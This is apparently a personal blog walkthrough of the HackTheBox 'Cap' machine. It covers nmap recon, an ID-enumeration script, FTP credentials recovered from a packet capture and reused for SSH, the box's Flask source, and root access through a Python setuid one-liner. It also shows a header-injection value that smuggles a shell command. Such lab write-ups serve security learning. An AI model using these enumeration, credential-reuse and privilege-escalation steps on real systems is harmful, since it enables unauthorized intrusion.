June 12, 2026
HTB: Cap Writeup
Hi there 👋
Duarte Miranda
12 min read
After taking a long break from cybersecurity, I started feeling the itch to get back into it. And what better way to shake off the rust than by diving into a HackTheBox machine?
Since it had been a while, I decided to start with an Easy-rated box ( CAP ) rather than jumping straight into something more challenging.
Although the machine was quite straightforward, I had a great time working through it. It was a reminder that even simpler challenges can be rewarding. Here's how it went:
Recon Phase
As always, I started by firing up Nmap to perform an initial port scan against the target.
Nmap Scan
To identify exposed services and gather additional information about the target, I ran the following scan:
nmap -A -oN scan.txt <target_ip>nmap -A -oN scan.txt <target_ip>Scan Options
-A – Enables aggressive scanning, performing OS detection, service/version enumeration, default NSE script execution, and traceroute.
While this is extremely useful in CTFs, it generates a significant amount of traffic and would be very noisy during a real-world engagement.
-oN– Saves the scan output for later review.
After waiting a couple minutes, nmap found 3 open ports with running services:
- 21/tcp (FTP) — File Transfer Protocol, commonly used for transferring files between systems.
- 22/tcp (SSH) — Secure Shell, providing remote command-line access to the host.
- 80/tcp (HTTP) — A web service running on the standard HTTP port.
Nmap scan report for 10.129.19.221
Host is up (0.032s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| ....
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 26.24 ms 10.10.14.1
2 26.45 ms 10.129.19.221Nmap scan report for 10.129.19.221
Host is up (0.032s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| ....
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 26.24 ms 10.10.14.1
2 26.45 ms 10.129.19.221Since we had a webservice running I decided to explore it first before jumping into the FTP ( we can always assume SSH will be protected behind authentication ),
After looking up http://10.129.19.221 I was redirected to this page which looked like a SOC dashboard:
At first glance we can see that we are logged in as Nathan ( Nathan will be of great help later on ). We can also see that on the sidebar we have 4 possible routes:
- Dashboard
- Security Snapshot ( 5 Second PCAP + Analysis )
- IP Config
- Network Status
At first, I did not make much sense of the name "Security Snapshot ( 5 Second PCAP + Analysis )" which was such a silly mistake and it totally bit me in the ass later…
I started by looking at the IP Config page. Which was nothing but an output from the linux command "ipconfig":
…and later I looked into the Network Status page. Which was also nothing more than a "netstat" command output:
My first instinct was command injection. Both pages appeared to display the output of system utilities, suggesting that backend commands were being executed somewhere.
But since there wasn't any attack vector I could figure out, I decided to take a look at the only left route ( Security Snapshot, yadda yadda…)
When trying to access it ( the page that has "5 Second PCAP" in the title ) I felt a sudden 5 seconds delay…of course I blamed my internet and moved on! 🤡
The url for this page was "http://10.129.19.221/data/1" which sparked a lot of joy since I always loved to hunt for BACs ( Broken Access Control ) in the wild.
Broken Access Control: A security vulnerability that occurs when a system fails to properly enforce what authenticated users are allowed to do
So of course I tried manipulating the parameters to something like:
http://10.129.19.221/data/1
http://10.129.19.221/data/2
http://10.129.19.221/data/3http://10.129.19.221/data/1
http://10.129.19.221/data/2
http://10.129.19.221/data/3Unfortunately, I kept getting redirected to the starting page, which I assumed it was the website telling me "Nothing to see here ✋".
Back to Security Snapshot decided to try the little "Download" function and see what would happen, to my surprise ( still not realizing the name of the page ) it downloaded a .pcap file.
.pcap (Packet Capture): A data file that stores intercepted network traffic.
I tried opening the file with Wireshark ( a packet sniffer ) in order to see what network traffic data was saved inside it. It was empty.
So I went back to the web page and kept looking around…
After looking around for a while I decided to build a little script that would try to find hidden .pcap files by doing the same manipulation we did previously, this time up to 9998 ids:
import requests
for i in range(2, 9999):
r = requests.get(f"http://10.129.19.221/data/{i}", allow_redirects=False) #allow_redirects=False is important, otherwise we won't be able to detect the redirect to the main page
if r.status_code == 302: # means we are being redirected back to the main page ( invalid id or)
pass
if r.status_code == 200: # means we found a valid id
print(f"Found valid id: {i}")
print("Done.")
http://10.129.19.221/data/2
http://10.129.19.221/data/3
http://10.129.19.221/data/4
...
http://10.129.19.221/data/100
...
http://10.129.19.221/data/9998import requests
for i in range(2, 9999):
r = requests.get(f"http://10.129.19.221/data/{i}", allow_redirects=False) #allow_redirects=False is important, otherwise we won't be able to detect the redirect to the main page
if r.status_code == 302: # means we are being redirected back to the main page ( invalid id or)
pass
if r.status_code == 200: # means we found a valid id
print(f"Found valid id: {i}")
print("Done.")
http://10.129.19.221/data/2
http://10.129.19.221/data/3
http://10.129.19.221/data/4
...
http://10.129.19.221/data/100
...
http://10.129.19.221/data/9998Still, I wasn't successful with this…but something really cool happened!
In the middle of running the script and not finding anything I decided to go back to the Security Snapshot page, and then it hit me!
The values for Number of Packets, Number of IP Packets, and the others now had values besides 0.
~ Could it be that the delay I get when accessing the page is the time it took for the server to take a network traffic snapshot? ~
Yes, yes it could! And I confirmed it by downloading the file, load it in Wireshark and see all the requests I was making to the server:
Now I was getting somewhere, I knew I could capture traffic entering the server, but where's the exploitation path here?
Sure, I could manipulate the packets being sent to the server and make the server capture them, maybe I could poison some TCP packet? But would an "Easy" level box really ask for that?
My first assumption was that these .pcap files were being generated by tcpdump ( which later I discovered I was right ). So I decided to look into some known tcpdump CVE's.
tcpdump: A command-line packet analyzer used by network administrators to capture and display network traffic flowing in and out of a system
I got stuck here for a while, so I decided to take a break and go back to the possibility of a BAC. I then had a thought that totally changed everything:
~ _Maybe I could find a sensitive .pcap file inside _/data/0? (the only id I did not try…0!) ~
I couldn't believe I spent so much time being side tracked when the valid id was right there, it was 0!
http://10.129.19.221/data/0http://10.129.19.221/data/0
I then proceeded to download the logs and from here on was extremely straight forward.
Inside the file I found the logs of a user ( our boy Nathan ) logging into an FTP server ( which we know it exists in the server we are trying to attack ):
User: nathan
Password: Buck3tH4TF0RM3!User: nathan
Password: Buck3tH4TF0RM3!We finally had an attack vector!
Exploitation
I grabbed the credentials I had just discovered in the networks logs and tried forcing my way into the ftp server:
user@user % ftp
ftp> open
(to) 10.129.19.221
Connected to 10.129.19.221.
220 (vsFTPd 3.0.3)
Name (10.129.19.221:user): nathan
331 Please specify the password.
Password:
230 Login successful.
ftp>user@user % ftp
ftp> open
(to) 10.129.19.221
Connected to 10.129.19.221.
220 (vsFTPd 3.0.3)
Name (10.129.19.221:user): nathan
331 Please specify the password.
Password:
230 Login successful.
ftp>Our friend Nathan had granted us access to the FTP server which once I passed to passive mode allowed me to grab the first user flag:
ftp> passive
Passive mode on.
ftp> get user.txt
227 Entering Passive Mode (10,129,19,221,86,16).
150 Opening BINARY mode data connection for user.txt (33 bytes).
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.0008 seconds (41.7443 kbytes/s)
ftp>ftp> passive
Passive mode on.
ftp> get user.txt
227 Entering Passive Mode (10,129,19,221,86,16).
150 Opening BINARY mode data connection for user.txt (33 bytes).
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.0008 seconds (41.7443 kbytes/s)
ftp>get <filename> – Allows you to download files from an FTP server.
After downloading the file into my computer I was able to read it and submit the flag to get the user points for this machine:
Now there were only 2 things left doing:
- Get shell level access to the server
- Escalate my privileges to root
Enumerating FTP Server
While I was looking around the FTP server I noticed I could walk between directories as far as /( Linux root directory ). Which indicated that this FTP wasn't chroot jail configured.
chroot: A mechanism in Unix/Linux that restricts a process to a specific directory, making that directory appear as the root (/) of the filesystem.
Since I had so much freedom I decided to snoop on the network capture function that generates the .pcap files.
So naturally I went to /var/www/html and looked around the websites configuration files. There wasn't much to look at except:
app.pywhich contained all the back-end code for the webpageuploadswhich had all the generated .pcap
total 32
drwxr-xr-x 6 nathan nathan 4096 Jun 11 17:51 .
drwxr-xr-x 3 root root 4096 May 23 2021 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 Jun 11 17:51 app.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Jun 11 18:01 uploadtotal 32
drwxr-xr-x 6 nathan nathan 4096 Jun 11 17:51 .
drwxr-xr-x 3 root root 4096 May 23 2021 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 Jun 11 17:51 app.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Jun 11 18:01 uploadI wanted to take a closer look at the application's back-end because I felt there was something important hiding there.
By this point, I was almost certain that the application was using tcpdump to capture network traffic. If that assumption was correct, the process responsible for generating the packet captures would likely require elevated privileges, most likely running as root.
Source Code Review
So I went ahead and downloaded the app.py and to my surprise…
#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import dpkt
from werkzeug.utils import append_slash_redirect
app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.secret_key = b'\x81\x02&\x18\\a0ej\x06\xec\x917y*\x04Y\x83e\xebC\xee\xab\xcf\xac;\x8dx\x8bf\xc4\x15'
limiter = Limiter(app, key_func=get_remote_address, default_limits=["99999999999999999 per day", "99999999999999999999 per hour"])
pcapid = 0
lock = False
@app.before_first_request
def get_file_id():
global pcapid
path = os.path.join(app.root_path, "upload")
onlyfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
ints = []
for x in onlyfiles:
try:
ints.append(int(x.replace(".pcap", "")))
except:
pass
try:
pcapid = max(ints)+1
except:
pcapid = 0
def get_appid():
global pcapid
return pcapid
def increment_appid():
global pcapid
pcapid += 1
def get_lock():
global lock
while lock:
pass
lock = True
def release_lock():
global lock
lock = False
def process_pcap(pcap_path):
reader = dpkt.pcap.Reader(open(pcap_path, "rb"))
counter=0
ipcounter=0
tcpcounter=0
udpcounter=0
for ts, pkt in reader:
counter+=1
eth=dpkt.ethernet.Ethernet(pkt)
try:
ip=dpkt.ip.IP(eth.data)
except:
continue
ipcounter+=1
if ip.p==0:
tcpcounter+=1
if ip.p==dpkt.ip.IP_PROTO_UDP:
udpcounter+=1
data = {}
data['Number of Packets'] = counter
data['Number of IP Packets'] = ipcounter
data['Number of TCP Packets'] = tcpcounter
data['Number of UDP Packets'] = udpcounter
return data
@app.route("/")
def index():
return render_template("index.html")
PCAP_MAGIC_BYTES = [b"\xa1\xb2\xc3\xd4", b"\xd4\xc3\xb2\xa1", b"\x0a\x0d\x0d\x0a"]
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
@app.route("/ip")
def ifconfig():
d = os.popen("ifconfig").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/netstat")
def netstat():
d = os.popen("netstat -aneop").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/data")
def data():
if "data" not in session:
return redirect("/")
data = session.pop("data")
path = session.pop("path")
return render_template("data.html", data=data, path=path)
@app.route("/data/<id>")
def data_id(id):
try:
id = int(id)
except:
return redirect("/")
try:
data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
path = str(id) + ".pcap"
return render_template("index.html", data=data, path=path)
except Exception as e:
print(e)
return redirect("/")
@app.route("/download/<id>")
def download(id):
try:
id = int(id)
except:
return redirect("/")
uploads = os.path.join(app.root_path, "upload")
return send_from_directory(uploads, str(id) + ".pcap", as_attachment=True)
if __name__ == "__main__":
app.run("0.0.0.0", 80, debug=True)#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import dpkt
from werkzeug.utils import append_slash_redirect
app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.secret_key = b'\x81\x02&\x18\\a0ej\x06\xec\x917y*\x04Y\x83e\xebC\xee\xab\xcf\xac;\x8dx\x8bf\xc4\x15'
limiter = Limiter(app, key_func=get_remote_address, default_limits=["99999999999999999 per day", "99999999999999999999 per hour"])
pcapid = 0
lock = False
@app.before_first_request
def get_file_id():
global pcapid
path = os.path.join(app.root_path, "upload")
onlyfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
ints = []
for x in onlyfiles:
try:
ints.append(int(x.replace(".pcap", "")))
except:
pass
try:
pcapid = max(ints)+1
except:
pcapid = 0
def get_appid():
global pcapid
return pcapid
def increment_appid():
global pcapid
pcapid += 1
def get_lock():
global lock
while lock:
pass
lock = True
def release_lock():
global lock
lock = False
def process_pcap(pcap_path):
reader = dpkt.pcap.Reader(open(pcap_path, "rb"))
counter=0
ipcounter=0
tcpcounter=0
udpcounter=0
for ts, pkt in reader:
counter+=1
eth=dpkt.ethernet.Ethernet(pkt)
try:
ip=dpkt.ip.IP(eth.data)
except:
continue
ipcounter+=1
if ip.p==0:
tcpcounter+=1
if ip.p==dpkt.ip.IP_PROTO_UDP:
udpcounter+=1
data = {}
data['Number of Packets'] = counter
data['Number of IP Packets'] = ipcounter
data['Number of TCP Packets'] = tcpcounter
data['Number of UDP Packets'] = udpcounter
return data
@app.route("/")
def index():
return render_template("index.html")
PCAP_MAGIC_BYTES = [b"\xa1\xb2\xc3\xd4", b"\xd4\xc3\xb2\xa1", b"\x0a\x0d\x0d\x0a"]
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
@app.route("/ip")
def ifconfig():
d = os.popen("ifconfig").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/netstat")
def netstat():
d = os.popen("netstat -aneop").read().strip()
print(d)
return render_template("index.html", rawtext=d)
@app.route("/data")
def data():
if "data" not in session:
return redirect("/")
data = session.pop("data")
path = session.pop("path")
return render_template("data.html", data=data, path=path)
@app.route("/data/<id>")
def data_id(id):
try:
id = int(id)
except:
return redirect("/")
try:
data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
path = str(id) + ".pcap"
return render_template("index.html", data=data, path=path)
except Exception as e:
print(e)
return redirect("/")
@app.route("/download/<id>")
def download(id):
try:
id = int(id)
except:
return redirect("/")
uploads = os.path.join(app.root_path, "upload")
return send_from_directory(uploads, str(id) + ".pcap", as_attachment=True)
if __name__ == "__main__":
app.run("0.0.0.0", 80, debug=True)…there was nothing here for me to exploit.
The function that made me scratch my head the most was capture() :
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))At first, I assumed the vulnerability was inside the application's source code. However, after digging deeper, I realized the real issue wasn't the Flask application itself. The code simply hinted that Python was somehow able to change its UID to 0. And it was likely due to cap_setuid=ep set in the interpreter.
And then running tcpdump ( I was right :P ):
os.system("timeout 5 tcpdump -w {path} -i any host {ip}")os.system("timeout 5 tcpdump -w {path} -i any host {ip}")As root!! And without sanitizing the inputs path and ip properly!!!
I just had to find a way to poison the data being sent to this function and voilà ! We had root access to the server.
The only problem was, there was no way for us to manipulate the path field since it was being generated locally, and as far the the ip field goes…Unfortunately, neither variable appeared to be controllable in a way that would allow command injection.
Why can't we manipulate the IP value?
IP addresses are restricted to a very specific format and can only contain numbers and dots (or hexadecimal characters in the case of IPv6). So it would be impossible to exploit this at a TCP level layer.
We also know that the app is getting our IP by using:
ip = request.remote_addrip = request.remote_addrWhich is a function native to Flask. In very specific cases we could abuse the HTTP header X-Forwarded-For to injection something like:
127.0.0.1; <shell command>;")127.0.0.1; <shell command>;")But for that to happen the developer must specifically force the app to use it by either:
app.wsgi_app = ProxyFix(app.wsgi_app) # Trusting a reverse proxyapp.wsgi_app = ProxyFix(app.wsgi_app) # Trusting a reverse proxyOr
request.headers.get("X-Forwarded-For") # Specifically tell the app to get the values from the headerrequest.headers.get("X-Forwarded-For") # Specifically tell the app to get the values from the headerUnfortunately, neither of those conditions applied here.
At this point I decided to go back a couple steps and find a way to elevate my privileges to actual Nathan, not the FTP access version of Nathan.
I looked around the server with the limited privileges I had but I couldn't really find anything valuable, so I tried the only thing you try when you're on the edge of crying…you brute force your way into SSH.
Since FTP was using a local system account, there was a reasonable chance that the same credentials had been reused for SSH. And yes
Buck3tH4TF0RM3!Buck3tH4TF0RM3!was the password.
Privilege Escalation
Surprising for me this was the stage of this CTF that took the least time, now inside the server as Nathan:
I tried to use sudo -l to see if we were allowed to use anything as root, but I didn't have much luck there.
My initial thoughts where:
~ Tcpdump_ is running as root, can I perhaps edit the file, go back to the website, make a random capture and execute the capture() function to elevate my privileges_ ~
And as I looked into the function one last time I remembered, the app.py does not run as root, but If the application could successfully call os.setuid(0), why couldn't I?
So I went ahead and tried a python one liner to change my uid to 0 and call /bin/bash
nathan@cap:/var/www/html$ python3 -c "import os; os.setuid(0); os.system('/bin/bash')"nathan@cap:/var/www/html$ python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
I did it, I was finally root and was able to capture the last flag.
Final Thoughts
This machine was exactly what it promised to be: an easy box. In a real-world environment, it's unlikely that vulnerabilities this straightforward would be left exposed, but that's precisely what made it a great way to ease back into the mindset of enumeration, analysis, and exploitation.
More than anything, it reminded me why I enjoy cybersecurity in the first place. It's not always about finding the most complex vulnerability or pulling off the most impressive exploit. Sometimes it's simply about the process of investigating, learning, and piecing everything together until the solution finally clicks.
After stepping away from the field for a while, solving this box brought back that familiar sense of accomplishment that comes with overcoming a challenge. And if there's one thing that keeps many of us coming back, it's that rewarding feeling when all the pieces finally fall into place.